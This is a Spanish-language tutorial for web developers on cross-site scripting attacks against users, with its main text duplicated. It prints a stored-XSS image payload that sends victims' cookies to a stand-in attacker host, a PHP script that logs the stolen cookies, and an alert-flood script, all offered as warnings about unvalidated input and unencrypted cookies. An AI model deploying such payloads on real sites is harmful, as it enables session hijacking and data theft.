En los dos siguientes artículos describiremos los diferentes modos de ataque de Cross-Site-Scripting. En este primer artículo nos centramos en el modo de ataque al usuario.
Al referirnos al Cross-Site-Scripting podemos encontrar bastante material didáctico acerca del tema, algunos de ellos describen los modos de ataques como directos e indirectos, pero realmente creo que podemos simplificar y enfocar de una forma mas directa en dos simples componentes que son:
1. Ataque al usuario.
2. Ataque al Aplicativo.
Ataque al Usuario
Este es el ataque mas frecuente, debido al potencial de la información que se puede obtener mediante este tipo de agresión, ya que dependiendo del nivel de ingenio del atacante puede obtener información importante de un usuario victima extrayendo sus cookies y consiguiendo información almacenada en ellas o robando su sesión de usuario en un sitio web especifico.
Dentro de las diversas formas de ataque veremos dos de las más comunes.
Ataque vía correo electrónico:
Se basa en el envió de un correo electrónico a un usuario con un script oculto en un link a una dirección web, el atacante buscando motivar a su victima a seguir el enlace le ofrece un premio, regalo u oferta si visita dicho vinculo, al verse atraído por la información en el correo electrónico el usuario hace click en el vinculo sin darse cuenta de que esta activando una secuencia de comandos que se ejecutaran en su equipo local, que podrían extraer sus cookies, eliminar archivos y en el caso mas fatal formatear su disco duro, mediante la invocación de programas con parámetros aleatorios.
Ataque vía publicación en Sitios Vulnerables:
Esta segunda forma se basa en la publicación datos en blogs, foros, libros de visitas o sitios que permiten reflejar información enviada por un usuario y que no es validada por el servidor, donde podremos esconder secuencias de comandos detrás de un vinculo o imagen, este ataque tiene la misma finalidad que el anterior, pero con un mayor alcance de usuarios afectados.
Quizás en estos momentos nos estemos preguntando, ¿bueno y eso que tiene que ver con nuestra labor como desarrolladores, si ya es responsabilidad del usuario?
Bien, como desarrolladores posiblemente tendremos o hemos tenido que crear sitios en donde los usuarios puede postear información que se vera reflejada en el sitio y podrá ser accedida por otros usuarios, ya sea blogs, foros o libros de visitas como se explico antes, pero que tal una bolsa de empleo donde puedo agregar mi currículo, o un sitio para comentarios de visitantes entre otras muchas opciones.
Si no tenemos una validación debida de las entradas por parte del usuario, se pueden enviar cadenas con comandos ocultos en vínculos que se almacenaran y reflejaran en nuestro sitio por ejemplo:
Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:
http://www.mipagina-malosa.com/mifoto.jpg name="foto"
Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:
onload="foto.src='http://www.mipagina-malosa.com/foto.php?
galleta='%20+document.cookie;">
Como podemos imaginar al finalizar la carga de la imagen se almacenaran las cookies del usuario que siguió el vinculo en una misteriosa variable llamada galleta, que será enviada a la url determinada por el atacante, ahora veamos el código de dicha página:
Código de foto.php.
<? $galleta = $_REQUEST[galleta];
$file=fopen("cookies.txt", "a");
fput($file, "$galleta\n");
fclose($file); ?>
Observemos que la variable que contiene las cookies del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante, ya esto significa un agujero de seguridad en nuestro sitio que expone peligrosamente la seguridad de nuestro usuario.
También se pueden ver afectados por robo de sesión, o bromas de mal gusto como un simple floodeo como el siguiente:
<script>while(1)alert("A ver cuanto Aguantas");</script>
Podrían dejar en evidencia nuestra ineficiencia en el campo de la seguridad, causando disconformidad por parte de los visitantes.
La segunda manera en que podemos exponer peligrosamente la información de nuestros usuarios es la siguiente:
Resulta que nuestro sitio se encuentra bien protegido validando cada entrada de datos de usuario, pero almacenamos información vital de nuestros usuarios en cookies, datos tal vez como número de tarjeta de crédito, fecha de vencimiento, nombre del propietario, password y nombre de usuario de acceso al sitio, y además de cometer este gran error resulta que no encriptamos las cookies y las almacenamos en el equipo del usuario de una manera totalmente legible, definitivamente si el usuario cayera en una trampa como la anterior, todos los datos almacenados en nuestras cookies serian sustraídos y leídos con facilidad.
Para ver algunos ejemplos de manejo de cookies haremos el siguiente ejercicio:
Abramos nuestro navegador web e ingresemos a google que crea cookies búsqueda, en el navegador web vamos a borrar la url y copiaremos y pegaremos el siguiente código:
javascript:void(document.cookie=prompt("Alterar cookie",document.cookie).split(";"));
y presionaremos la tecla ENTER o haremos click sobre el botón IR y veremos el siguiente cuadro de dialogo:
Como podemos observar allí se encuentra nuestra cookie en un cuadro de dialogo que a la vez nos permite modificarla, así que haremos click al final de la cookie y agregaremos un texto a ver si la modifica y presionamos el botón aceptar del cuadro de dialogo, como el script aun esta en el navegador simplemente volveremos a presionar la tecla ENTER o haremos click sobre el botón IR y veremos nuevamente el cuadro de dialogo.
Si observamos al final de la cookie veremos que efectivamente se modifico nuestra cookie, bien de esa misma manera pueden ser extraídas y modificadas nuestras cookies de manera remota.
Bien estas fueron unas formas simples de ataque, pero debemos de entender que existen formas más complejas y peligrosas de ataque mediante XSS, que no contemplaremos en este artículo para no extendernos tanto.
1. Ataque al usuario.
2. Ataque al Aplicativo.
Ataque al Usuario
Este es el ataque mas frecuente, debido al potencial de la información que se puede obtener mediante este tipo de agresión, ya que dependiendo del nivel de ingenio del atacante puede obtener información importante de un usuario victima extrayendo sus cookies y consiguiendo información almacenada en ellas o robando su sesión de usuario en un sitio web especifico.
Dentro de las diversas formas de ataque veremos dos de las más comunes.
Ataque vía correo electrónico:
Se basa en el envió de un correo electrónico a un usuario con un script oculto en un link a una dirección web, el atacante buscando motivar a su victima a seguir el enlace le ofrece un premio, regalo u oferta si visita dicho vinculo, al verse atraído por la información en el correo electrónico el usuario hace click en el vinculo sin darse cuenta de que esta activando una secuencia de comandos que se ejecutaran en su equipo local, que podrían extraer sus cookies, eliminar archivos y en el caso mas fatal formatear su disco duro, mediante la invocación de programas con parámetros aleatorios.
Ataque vía publicación en Sitios Vulnerables:
Esta segunda forma se basa en la publicación datos en blogs, foros, libros de visitas o sitios que permiten reflejar información enviada por un usuario y que no es validada por el servidor, donde podremos esconder secuencias de comandos detrás de un vinculo o imagen, este ataque tiene la misma finalidad que el anterior, pero con un mayor alcance de usuarios afectados.
Quizás en estos momentos nos estemos preguntando, ¿bueno y eso que tiene que ver con nuestra labor como desarrolladores, si ya es responsabilidad del usuario?
Bien, como desarrolladores posiblemente tendremos o hemos tenido que crear sitios en donde los usuarios puede postear información que se vera reflejada en el sitio y podrá ser accedida por otros usuarios, ya sea blogs, foros o libros de visitas como se explico antes, pero que tal una bolsa de empleo donde puedo agregar mi currículo, o un sitio para comentarios de visitantes entre otras muchas opciones.
Si no tenemos una validación debida de las entradas por parte del usuario, se pueden enviar cadenas con comandos ocultos en vínculos que se almacenaran y reflejaran en nuestro sitio por ejemplo:
Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:
http://www.mipagina-malosa.com/mifoto.jpg name="foto"
Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:
onload="foto.src='http://www.mipagina-malosa.com/foto.php?
galleta='%20+document.cookie;">
Como podemos imaginar al finalizar la carga de la imagen se almacenaran las cookies del usuario que siguió el vinculo en una misteriosa variable llamada galleta, que será enviada a la url determinada por el atacante, ahora veamos el código de dicha página:
Código de foto.php.
<? $galleta = $_REQUEST[galleta];
$file=fopen("cookies.txt", "a");
fput($file, "$galleta\n");
fclose($file); ?>
Observemos que la variable que contiene las cookies del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante, ya esto significa un agujero de seguridad en nuestro sitio que expone peligrosamente la seguridad de nuestro usuario.
También se pueden ver afectados por robo de sesión, o bromas de mal gusto como un simple floodeo como el siguiente:
<script>while(1)alert("A ver cuanto Aguantas");</script>
Podrían dejar en evidencia nuestra ineficiencia en el campo de la seguridad, causando disconformidad por parte de los visitantes.
La segunda manera en que podemos exponer peligrosamente la información de nuestros usuarios es la siguiente:
Resulta que nuestro sitio se encuentra bien protegido validando cada entrada de datos de usuario, pero almacenamos información vital de nuestros usuarios en cookies, datos tal vez como número de tarjeta de crédito, fecha de vencimiento, nombre del propietario, password y nombre de usuario de acceso al sitio, y además de cometer este gran error resulta que no encriptamos las cookies y las almacenamos en el equipo del usuario de una manera totalmente legible, definitivamente si el usuario cayera en una trampa como la anterior, todos los datos almacenados en nuestras cookies serian sustraídos y leídos con facilidad.
Para ver algunos ejemplos de manejo de cookies haremos el siguiente ejercicio:
Abramos nuestro navegador web e ingresemos a google que crea cookies búsqueda, en el navegador web vamos a borrar la url y copiaremos y pegaremos el siguiente código:
javascript:void(document.cookie=prompt("Alterar cookie",document.cookie).split(";"));
y presionaremos la tecla ENTER o haremos click sobre el botón IR y veremos el siguiente cuadro de dialogo:
Como podemos observar allí se encuentra nuestra cookie en un cuadro de dialogo que a la vez nos permite modificarla, así que haremos click al final de la cookie y agregaremos un texto a ver si la modifica y presionamos el botón aceptar del cuadro de dialogo, como el script aun esta en el navegador simplemente volveremos a presionar la tecla ENTER o haremos click sobre el botón IR y veremos nuevamente el cuadro de dialogo.
Si observamos al final de la cookie veremos que efectivamente se modifico nuestra cookie, bien de esa misma manera pueden ser extraídas y modificadas nuestras cookies de manera remota.
Bien estas fueron unas formas simples de ataque, pero debemos de entender que existen formas más complejas y peligrosas de ataque mediante XSS, que no contemplaremos en este artículo para no extendernos tanto.
Kenyie Araya Ramos